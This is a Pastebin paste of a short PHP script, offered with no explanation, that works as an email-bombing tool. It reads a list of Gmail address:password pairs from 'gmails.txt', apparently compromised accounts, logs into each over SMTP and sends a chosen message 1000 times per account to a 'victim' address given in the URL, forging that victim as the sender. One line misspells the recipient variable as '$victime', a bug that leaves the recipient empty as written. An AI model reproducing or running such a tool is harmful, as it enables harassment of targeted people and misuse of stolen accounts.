Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2017
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.78 KB | None | 0 0
  1. <?php
  2. $file = file('gmails.txt');
  3. $victim = $_GET['email'];
  4. $sub = $_GET['subject'];
  5. $bod = $_GET['body'];
  6.  
  7. $send_amount = 1000;
  8.  
  9. $c = 0;
  10. $x = 0;
  11. while($x < $send_amount){
  12.     $x++;
  13.     foreach($file as $email){
  14.         $exp = explode(':', $email);
  15.         $mail = new PHPMailer();
  16.         $mail->IsSMTP();
  17.         $mail->Host = "mail.test.com";
  18.         $mail->SMTPAuth = true;
  19.         $mail->SMTPSecure = "tls";
  20.         $mail->Host = "smtp.gmail.com";
  21.         $mail->Port = 587;
  22.         $mail->Username = $exp[0];
  23.         $mail->Password = $exp[1];
  24.         $mail->SetFrom($victim, $sub);
  25.         $mail->Subject = $sub;
  26.         $mail->MsgHTML($bod);
  27.         $address = $victime;
  28.         $mail->AddAddress($address, $sub);
  29.         if(!$mail->Send()){
  30.             echo "Mailer Error: " . $mail->ErrorInfo;
  31.         }else{
  32.             $c += 1;
  33.         }
  34.     }
  35. }
  36. echo 'Sent '.$victim.' '.$c.' emails';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement